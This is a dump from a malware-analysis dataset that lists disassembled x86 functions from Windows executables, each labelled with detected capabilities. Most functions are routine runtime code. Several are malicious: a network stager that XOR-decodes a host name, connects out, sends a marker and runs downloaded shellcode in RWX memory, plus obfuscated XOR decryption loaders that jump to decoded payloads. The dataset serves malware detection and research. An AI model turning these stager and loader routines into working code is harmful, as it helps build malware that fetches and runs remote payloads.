joyce8/EMBER2024-capa huggingface dataset:
Function at 0x5384b0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebx
push esi
push 0x8e13e0
xor bl, bl
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [0x8e1318]
push eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
jne 0x53852b
push 0x4c
push 1
call fcn.0054f005
mov esi, eax
add esp, 8
test esi, esi
jne 0x5384f3
push 0x8e13e0
mov bl, 1
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
mov al, bl
pop ebx
ret
mov ecx, dword [0x8e1318]
push esi
push ecx
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
mov eax, dword [0x8d65e8]
inc eax
lea edx, [esi + 0xc]
mov dword [0x8d65e8], eax
push edx
mov dword [esi + 0x30], eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea eax, [esi + 4]
push 0
push eax
call fcn.0053bff0
add esp, 8
mov byte [esi + 0x3c], 1
push 0x8e13e0
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
mov al, bl
pop ebx
ret

Function at 0x5389b0
Capabilities:
Read file on windows

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x1c]
mov dword [esp + 0x1c], edi
call fcn.0054ebdd
mov ebx, dword [esp + 0x14]
mov dword [eax], 0
mov eax, dword [esp + 0x18]
push edi
push eax
push ebx
call fcn.0055988c
mov esi, eax
add esp, 0xc
cmp esi, edi
je 0x538aaa
call fcn.0054ebdd
cmp dword [eax], 0
je 0x5389f7
call fcn.0054ebdd
mov ebp, dword [eax]
jmp 0x5389fa
or ebp, 0xffffffff
call fcn.00538540
test esi, esi
mov dword [eax], ebp
jne 0x538a0f
call fcn.0054ebdd
cmp dword [eax], 4
je 0x538a5f
mov eax, dword [esp + 0x20]
test al, 0x1a
je 0x538a42
cmp esi, 0xffffffff
je 0x538a84
test al, 6
je 0x538a42
call fcn.00538540
mov ecx, dword [eax]
push ecx
push ebx
call fcn.0053c020
add esp, 4
push eax
push 0x24
push 9
call fcn.00538d90
mov eax, dword [esp + 0x30]
add esp, 0x10
cmp esi, 0xffffffff
je 0x538aa2
test al, 6
je 0x538a50
test ah, 2
je 0x538aa2
test esi, esi
jbe 0x538aae
test ah, 2
je 0x538aae
add dword [esp + 0x18], esi
sub edi, esi
call fcn.0054ebdd
mov edx, dword [esp + 0x18]
push edi
push edx
push ebx
mov dword [eax], 0
call fcn.0055988c
mov esi, eax
add esp, 0xc
cmp esi, edi
je 0x538aaa
jmp 0x5389e4
call fcn.00538540
mov eax, dword [eax]
push eax
push ebx
call fcn.0053c020
add esp, 4
push eax
push 0x24
push 2
call fcn.00538d90
add esp, 0x10
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
ret
mov eax, dword [esp + 0x20]
test al, 6
je 0x538abb
xor esi, esi
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
ret
test ah, 2
je 0x538ac4
mov esi, dword [esp + 0x1c]
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
ret

Function at 0x551454
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x551474
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0054eb6a
pop ecx
or eax, 0xffffffff
ret
test al, 1
je 0x551497
test byte [esp + 8], 2
je 0x551497
call fcn.0054ebdd
mov dword [eax], 0xd
call fcn.0054ebe6
mov dword [eax], 5
jmp 0x551470
xor eax, eax
ret
Function at 0x56578d
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x5657c5
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.00563767
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.0056373f
jmp 0x5657d1
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x566f84
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x566fc6
call fcn.0056d9e5
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x566fc6
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x566fbd
xor eax, eax
jmp 0x566fce
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.00566fd4
pop edi
pop esi
pop ebx
ret 4

Function at 0x56df15
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x56df43
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x56df61
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.0056de7b
jmp 0x56df61
mov eax, dword [esi + 0x14]
test eax, eax
je 0x56df61
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.0056de7b
test edi, edi
mov eax, edi
jne 0x56df4b
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x401f10
Capabilities:
Get disk information
Inspect load icon resource
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x148
push ebx
push esi
push edi
push 0x65
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [esp + 0xc]
call fcn.00401000
lea ecx, [esp + 0x50]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x50]
lea ecx, [esp + 0xc]
push edx
call fcn.004012b0
test eax, eax
je 0x402021
lea eax, [esp + 0x50]
push 0x404030
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x402084
lea ecx, [esp + 0x50]
push ecx
lea ecx, [esp + 0x10]
call fcn.00401290
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
sub eax, 8
push 0
push eax
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea edx, [esp + 0x24]
push 8
push edx
call ebx
mov eax, dword [esp + 0x2c]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x48]
push 0x38
push ecx
call ebx
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x88]
mov edx, dword [esp + 0x50]
add esp, 0x3c
test eax, eax
mov eax, dword [esp + 0x10]
push edx
push eax
jne 0x401ffe
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401800
jmp 0x402084
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401a90
jmp 0x402084
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_1
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
mov esi, 1
xor ebx, ebx
test edi, esi
je 0x40206a
mov dl, bl
lea ecx, [esp + 0x10]
add dl, 0x41
push edx
call sub.MFC42.DLL_CString::operator_1
push 0x40412c
lea ecx, [esp + 0x14]
call fcn.004020e2
lea ecx, [esp + 0xc]
mov eax, dword [esp + 0x10]
push eax
push 0
call fcn.00401cf0
add esi, esi
inc ebx
cmp ebx, 0x1a
jl 0x402039
lea ecx, [esp + 0xc]
call fcn.00401040
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
call fcn.00401030
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x148
ret 0x10

Function at 0x7c6930
Capabilities:
Encode data using xor

Disassembly:
jmp 0x7c693a
pushal
call 0x7c6940
pop ebp
sub ebp, 0x10
sub ebp, 0x3c6930
jmp 0x7c6956
mov eax, 0x3c6930
add eax, ebp
add eax, 0x4c
mov ecx, 0x5f7
mov edx, 0x9eb23079
xor byte [eax], dl
inc eax
dec ecx
jne 0x7c696d
jmp 0x7c6980
mov ah, 0xf2
invalid
Function at 0x88f058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x88f1a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x88f07e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x88f06a
add dl, dl
jne 0x88f089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x88f0dc
xor eax, eax
add dl, dl
jne 0x88f096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x88f17d
add dl, dl
jne 0x88f0a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x88f0b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x88f0bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x88f0c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x88f0d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x88f075
mov eax, 1
add dl, dl
jne 0x88f0ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x88f0f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x88f0e1
sub eax, ebx
mov ebx, 1
jne 0x88f128
mov ecx, 1
add dl, dl
jne 0x88f10e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x88f119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x88f105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x88f075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x88f13f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x88f14a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x88f136
cmp eax, 0x7d00
jae 0x88f16d
cmp eax, 0x500
jb 0x88f168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x88f075
cmp eax, 0x7f
ja 0x88f170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x88f075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x88f19e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x88f075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x401183
Capabilities:
Act as tcp client
Allocate or change rwx memory
Connect socket
Connect tcp socket
Create tcp socket
Encode data using xor
Execute shellcode via indirect call
Resolve dns
Send data
Send data on socket
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push esi
call fcn.00401000
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [0x4033b4], eax
je 0x4012bc
push 0x40
push 0x3000
push 0x4db94
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
test eax, eax
mov dword [0x4033b8], eax
jne 0x4011cd
push eax
call dword [sym.imp.MSVCRT.dll_exit]
xor eax, eax
xor byte [eax + str.RSPMP_M_SMRSWccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc], 0x63
inc eax
cmp eax, 0x38c
jb 0x4011cf
mov esi, dword [sym.imp.WS2_32.dll_gethostbyname]
push ebx
push edi
push str.RSPMP_M_SMRSWccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
call esi
mov edi, dword [sym.imp.WS2_32.dll_htons]
mov ebx, eax
mov ax, word [0x40313c]
mov word [ebp - 0x1c], 2
push eax
call edi
mov word [ebp - 0x1a], ax
mov eax, dword [ebx + 0xc]
mov ebx, dword [sym.imp.WS2_32.dll_connect]
push 0x10
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x1c]
push eax
push dword [0x4033b4]
call ebx
cmp eax, 0xffffffff
jne 0x401263
push str.RSPMP_M_SMRSWccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
call esi
mov dword [ebp - 4], eax
mov ax, word [0x40313c]
push eax
mov word [ebp - 0x1c], 2
call edi
mov word [ebp - 0x1a], ax
mov eax, dword [ebp - 4]
push 0x10
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x1c]
push eax
push dword [0x4033b4]
jmp 0x401224
push 0x4033b8
push 0x4010c7
call dword [0x4033b0]
and byte [ebp - 6], 0
mov esi, eax
push 0
lea eax, [ebp - 0xc]
push 7
push eax
push dword [0x4033b4]
mov byte [ebp - 0xc], 0x47
mov byte [ebp - 0xb], 0x45
mov byte [ebp - 0xa], 0x54
mov byte [ebp - 9], 0x47
mov byte [ebp - 8], 0x4f
mov byte [ebp - 7], 0x44
call dword [sym.imp.WS2_32.dll_send]
pop edi
pop ebx
test eax, eax
jg 0x4012b3
push 0
call dword [sym.imp.MSVCRT.dll_exit]
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
pop esi
leave
ret 0x10
Function at 0x408929
Capabilities:
Encode data using xor

Disassembly:
sub esp, 4
mov dword [esp], 0x4085d8
pop edx
add esi, 0x9389375a
and ecx, ecx
call fcn.0040896b
add esi, 0x170c345a
xor dword [edi], edx
add ecx, 1
dec esi
inc edi
add esi, 0x4d6131cd
cmp edi, eax
jne fcn.00408929
sub esi, 0x5218b8bb
add esi, 0x108eac16
ret
Function at 0x40595e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x40596d
pop dword [ebp - 0x20]
mov eax, 0x40596d
sub dword [ebp - 0x20], eax
mov dword [ebp - 0x30], 0xdeb2472f
add dword [ebp - 0x30], 0x6f9ffe1c
mov dword [ebp - 0x2c], 0x86a52645
add dword [ebp - 0x2c], 0xab8e2600
mov dword [ebp - 0x28], 0x1870975
sub dword [ebp - 0x28], 0xb53ac547
mov dword [ebp - 0x24], 0x1d44a74e
sub dword [ebp - 0x24], 0x1d44a74e
lea eax, [ebp - 0x30]
push eax
mov eax, 0xa9a8d1f4
sub eax, 0xa9686194
add eax, dword [ebp - 0x20]
call dword [eax]
mov dword [ebp - 0x30], 0x24860a30
sub dword [ebp - 0x30], 0xb013a0da
mov dword [ebp - 0x2c], 0x3dae2fe0
add dword [ebp - 0x2c], 0x3be3195
mov dword [ebp - 0x28], 0x57767032
sub dword [ebp - 0x28], 0xf40703c6
mov dword [ebp - 0x24], 0x517dd0b6
sub dword [ebp - 0x24], 0x517dd0b6
lea ebx, [ebp - 0x30]
push ebx
push eax
mov eax, 0x1801197e
sub eax, 0x17c0a87e
add eax, dword [ebp - 0x20]
call dword [eax]
push 0x40
push 0x1000
push 0x34b1b
push 0
call eax
mov ecx, 0x93e73c18
sub ecx, 0x93e6fc2f
xor edx, edx
add edx, eax
mov edi, 0xdc3ddb3e
sub edi, 0xdbfcdb3e
add edi, dword [ebp - 0x20]
mov esi, 0x3a2f28e
mov ebx, dword [edi]
sub dword [ebp - 0x18], 0x9c036009
sub ebx, esi
xor dword [ebp - 4], esi
mov dword [edx], ebx
mov dword [ebp - 0x1c], 0x19cdfeea
add edx, 0x733862c4
sub edx, 0x733862c0
add edi, 4
loop 0x405a86
add eax, 0xf277
xor ebx, ebx
add ebx, eax
add eax, 0xc99af74b
sub eax, 0xc99af746
mov ecx, 0xc2c9a399
add ecx, 0x3d765c67
add ecx, dword [ebp - 0x20]
call ebx
leave
ret

Function at 0x4065b0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40c17c]
jne 0x4065ba
repz ret
jmp fcn.00406941
Function at 0x426390
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push 0xffffffffffffffff
push 0x489345
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
push edi
mov dword [esp + 8], esi
lea ecx, [esi + 0x264c]
mov dword [esp + 0x18], 0x23
call fcn.00410980
lea ecx, [esi + 0x2468]
mov byte [esp + 0x18], 0x22
call fcn.00410980
lea ecx, [esi + 0x2284]
mov byte [esp + 0x18], 0x21
call fcn.00410980
lea ecx, [esi + 0x20a0]
mov byte [esp + 0x18], 0x20
call fcn.00410980
lea ecx, [esi + 0x1ebc]
mov byte [esp + 0x18], 0x1f
call fcn.00410980
lea edi, [esi + 0x1b14]
mov dword [esp + 0xc], edi
lea ecx, [edi + 0xe0]
mov byte [esp + 0x18], 0x25
call fcn.0040aca0
lea ecx, [edi + 0x40]
mov byte [esp + 0x18], 0x24
call fcn.004094f0
mov ecx, edi
mov byte [esp + 0x18], 0x1e
call fcn.00410980
lea ecx, [esi + 0x1ad0]
mov byte [esp + 0x18], 0x1d
call fcn.00410980
lea ecx, [esi + 0x1930]
mov byte [esp + 0x18], 0x1c
call fcn.00410980
lea ecx, [esi + 0x18b0]
mov byte [esp + 0x18], 0x1b
call fcn.00410980
lea ecx, [esi + 0x186c]
mov byte [esp + 0x18], 0x1a
call fcn.00410980
mov byte [esp + 0x18], 0x19
lea ecx, [esi + 0x17ec]
call fcn.00410980
lea ecx, [esi + 0x164c]
mov byte [esp + 0x18], 0x18
call fcn.00410980
lea ecx, [esi + 0x15cc]
mov byte [esp + 0x18], 0x17
call fcn.00410980
lea ecx, [esi + 0x142c]
mov byte [esp + 0x18], 0x16
call fcn.00410980
lea ecx, [esi + 0x13ac]
mov byte [esp + 0x18], 0x15
call fcn.00410980
lea ecx, [esi + 0x120c]
mov byte [esp + 0x18], 0x14
call fcn.00410980
lea ecx, [esi + 0x1168]
mov byte [esp + 0x18], 0x13
call fcn.00405ac0
lea ecx, [esi + 0x1124]
mov byte [esp + 0x18], 0x12
call fcn.00410980
lea ecx, [esi + 0xf84]
mov byte [esp + 0x18], 0x11
call fcn.00410980
lea ecx, [esi + 0xf04]
mov byte [esp + 0x18], 0x10
call fcn.00410980
lea ecx, [esi + 0xec0]
mov byte [esp + 0x18], 0xf
call fcn.00410980
lea ecx, [esi + 0xe40]
mov byte [esp + 0x18], 0xe
call fcn.00410980
lea ecx, [esi + 0xca0]
mov byte [esp + 0x18], 0xd
call fcn.00410980
lea ecx, [esi + 0xc20]
mov byte [esp + 0x18], 0xc
call fcn.00410980
lea ecx, [esi + 0xa80]
mov byte [esp + 0x18], 0xb
call fcn.00410980
lea ecx, [esi + 0xa00]
mov byte [esp + 0x18], 0xa
call fcn.00410980
lea ecx, [esi + 0x9bc]
mov byte [esp + 0x18], 9
call fcn.00410980
lea ecx, [esi + 0x93c]
mov byte [esp + 0x18], 8
call fcn.00410980
lea ecx, [esi + 0x79c]
mov byte [esp + 0x18], 7
call fcn.00410980
lea ecx, [esi + 0x71c]
mov byte [esp + 0x18], 6
call fcn.00410980
lea ecx, [esi + 0x57c]
mov byte [esp + 0x18], 5
call fcn.00410980
lea ecx, [esi + 0x3dc]
mov byte [esp + 0x18], 4
call fcn.00410980
lea ecx, [esi + 0x35c]
mov byte [esp + 0x18], 3
call fcn.00410980
lea ecx, [esi + 0x318]
mov byte [esp + 0x18], 2
call fcn.00410980
lea ecx, [esi + 0x298]
mov byte [esp + 0x18], 1
call fcn.00410980
lea ecx, [esi + 0xf8]
mov byte [esp + 0x18], 0
call fcn.00410980
mov ecx, esi
mov dword [esp + 0x18], 0xffffffff
call fcn.00410980
pop edi
mov ecx, dword [esp + 0xc]
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret
Function at 0x4263a8
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push 0xffffffffffffffff
push 0x489345
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
push edi
mov dword [esp + 8], esi
lea ecx, [esi + 0x264c]
mov dword [esp + 0x18], 0x23
call fcn.00410980
lea ecx, [esi + 0x2468]
mov byte [esp + 0x18], 0x22
call fcn.00410980
lea ecx, [esi + 0x2284]
mov byte [esp + 0x18], 0x21
call fcn.00410980
lea ecx, [esi + 0x20a0]
mov byte [esp + 0x18], 0x20
call fcn.00410980
lea ecx, [esi + 0x1ebc]
mov byte [esp + 0x18], 0x1f
call fcn.00410980
lea edi, [esi + 0x1b14]
mov dword [esp + 0xc], edi
lea ecx, [edi + 0xe0]
mov byte [esp + 0x18], 0x25
call fcn.0040aca0
lea ecx, [edi + 0x40]
mov byte [esp + 0x18], 0x24
call fcn.004094f0
mov ecx, edi
mov byte [esp + 0x18], 0x1e
call fcn.00410980
lea ecx, [esi + 0x1ad0]
mov byte [esp + 0x18], 0x1d
call fcn.00410980
lea ecx, [esi + 0x1930]
mov byte [esp + 0x18], 0x1c
call fcn.00410980
lea ecx, [esi + 0x18b0]
mov byte [esp + 0x18], 0x1b
call fcn.00410980
lea ecx, [esi + 0x186c]
mov byte [esp + 0x18], 0x1a
call fcn.00410980
mov byte [esp + 0x18], 0x19
lea ecx, [esi + 0x17ec]
call fcn.00410980
lea ecx, [esi + 0x164c]
mov byte [esp + 0x18], 0x18
call fcn.00410980
lea ecx, [esi + 0x15cc]
mov byte [esp + 0x18], 0x17
call fcn.00410980
lea ecx, [esi + 0x142c]
mov byte [esp + 0x18], 0x16
call fcn.00410980
lea ecx, [esi + 0x13ac]
mov byte [esp + 0x18], 0x15
call fcn.00410980
lea ecx, [esi + 0x120c]
mov byte [esp + 0x18], 0x14
call fcn.00410980
lea ecx, [esi + 0x1168]
mov byte [esp + 0x18], 0x13
call fcn.00405ac0
lea ecx, [esi + 0x1124]
mov byte [esp + 0x18], 0x12
call fcn.00410980
lea ecx, [esi + 0xf84]
mov byte [esp + 0x18], 0x11
call fcn.00410980
lea ecx, [esi + 0xf04]
mov byte [esp + 0x18], 0x10
call fcn.00410980
lea ecx, [esi + 0xec0]
mov byte [esp + 0x18], 0xf
call fcn.00410980
lea ecx, [esi + 0xe40]
mov byte [esp + 0x18], 0xe
call fcn.00410980
lea ecx, [esi + 0xca0]
mov byte [esp + 0x18], 0xd
call fcn.00410980
lea ecx, [esi + 0xc20]
mov byte [esp + 0x18], 0xc
call fcn.00410980
lea ecx, [esi + 0xa80]
mov byte [esp + 0x18], 0xb
call fcn.00410980
lea ecx, [esi + 0xa00]
mov byte [esp + 0x18], 0xa
call fcn.00410980
lea ecx, [esi + 0x9bc]
mov byte [esp + 0x18], 9
call fcn.00410980
lea ecx, [esi + 0x93c]
mov byte [esp + 0x18], 8
call fcn.00410980
lea ecx, [esi + 0x79c]
mov byte [esp + 0x18], 7
call fcn.00410980
lea ecx, [esi + 0x71c]
mov byte [esp + 0x18], 6
call fcn.00410980
lea ecx, [esi + 0x57c]
mov byte [esp + 0x18], 5
call fcn.00410980
lea ecx, [esi + 0x3dc]
mov byte [esp + 0x18], 4
call fcn.00410980
lea ecx, [esi + 0x35c]
mov byte [esp + 0x18], 3
call fcn.00410980
lea ecx, [esi + 0x318]
mov byte [esp + 0x18], 2
call fcn.00410980
lea ecx, [esi + 0x298]
mov byte [esp + 0x18], 1
call fcn.00410980
lea ecx, [esi + 0xf8]
mov byte [esp + 0x18], 0
call fcn.00410980
mov ecx, esi
mov dword [esp + 0x18], 0xffffffff
call fcn.00410980
pop edi
mov ecx, dword [esp + 0xc]
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret
Function at 0x42d9d0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x48a208
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
push ebx
push esi
mov esi, ecx
push edi
mov dword [esp + 0xc], esi
lea ecx, [esi + 0x1160]
mov dword [esp + 0x20], 0xc
call fcn.00410980
lea ecx, [esi + 0x1068]
mov byte [esp + 0x20], 0xb
call fcn.00410980
lea ecx, [esi + 0xfe8]
mov byte [esp + 0x20], 0xa
call fcn.00410980
lea ecx, [esi + 0xf68]
mov byte [esp + 0x20], 9
call fcn.00410980
lea ecx, [esi + 0xee8]
mov byte [esp + 0x20], 8
call fcn.00410980
lea ecx, [esi + 0xe68]
mov byte [esp + 0x20], 7
call fcn.00410980
lea edi, [esi + 0xac0]
mov dword [esp + 0x10], edi
lea ebx, [edi + 0xe0]
mov dword [esp + 0x14], ebx
lea ecx, [ebx + 0x114]
mov byte [esp + 0x20], 0xf
call fcn.00410980
mov ecx, ebx
mov byte [esp + 0x20], 0xe
call fcn.00410980
lea ecx, [edi + 0x40]
mov byte [esp + 0x20], 0xd
call fcn.004094f0
mov ecx, edi
mov byte [esp + 0x20], 6
call fcn.00410980
push fcn.0040b5c0
push 8
lea eax, [esi + 0x600]
push 0x98
push eax
mov byte [esp + 0x30], 5
call fcn.004830a6
lea ecx, [esi + 0x568]
mov byte [esp + 0x20], 4
call fcn.00410980
lea ecx, [esi + 0x4d0]
mov byte [esp + 0x20], 3
call fcn.00410980
lea ecx, [esi + 0x438]
mov byte [esp + 0x20], 2
call fcn.00410980
lea ecx, [esi + 0x298]
mov byte [esp + 0x20], 1
call fcn.00410980
lea ecx, [esi + 0xf8]
mov byte [esp + 0x20], 0
call fcn.00410980
mov ecx, esi
mov dword [esp + 0x20], 0xffffffff
call fcn.00410980
pop edi
mov ecx, dword [esp + 0x14]
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x18
ret

Function at 0x42d9e9
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x48a208
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
push ebx
push esi
mov esi, ecx
push edi
mov dword [esp + 0xc], esi
lea ecx, [esi + 0x1160]
mov dword [esp + 0x20], 0xc
call fcn.00410980
lea ecx, [esi + 0x1068]
mov byte [esp + 0x20], 0xb
call fcn.00410980
lea ecx, [esi + 0xfe8]
mov byte [esp + 0x20], 0xa
call fcn.00410980
lea ecx, [esi + 0xf68]
mov byte [esp + 0x20], 9
call fcn.00410980
lea ecx, [esi + 0xee8]
mov byte [esp + 0x20], 8
call fcn.00410980
lea ecx, [esi + 0xe68]
mov byte [esp + 0x20], 7
call fcn.00410980
lea edi, [esi + 0xac0]
mov dword [esp + 0x10], edi
lea ebx, [edi + 0xe0]
mov dword [esp + 0x14], ebx
lea ecx, [ebx + 0x114]
mov byte [esp + 0x20], 0xf
call fcn.00410980
mov ecx, ebx
mov byte [esp + 0x20], 0xe
call fcn.00410980
lea ecx, [edi + 0x40]
mov byte [esp + 0x20], 0xd
call fcn.004094f0
mov ecx, edi
mov byte [esp + 0x20], 6
call fcn.00410980
push fcn.0040b5c0
push 8
lea eax, [esi + 0x600]
push 0x98
push eax
mov byte [esp + 0x30], 5
call fcn.004830a6
lea ecx, [esi + 0x568]
mov byte [esp + 0x20], 4
call fcn.00410980
lea ecx, [esi + 0x4d0]
mov byte [esp + 0x20], 3
call fcn.00410980
lea ecx, [esi + 0x438]
mov byte [esp + 0x20], 2
call fcn.00410980
lea ecx, [esi + 0x298]
mov byte [esp + 0x20], 1
call fcn.00410980
lea ecx, [esi + 0xf8]
mov byte [esp + 0x20], 0
call fcn.00410980
mov ecx, esi
mov dword [esp + 0x20], 0xffffffff
call fcn.00410980
pop edi
mov ecx, dword [esp + 0x14]
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x18
ret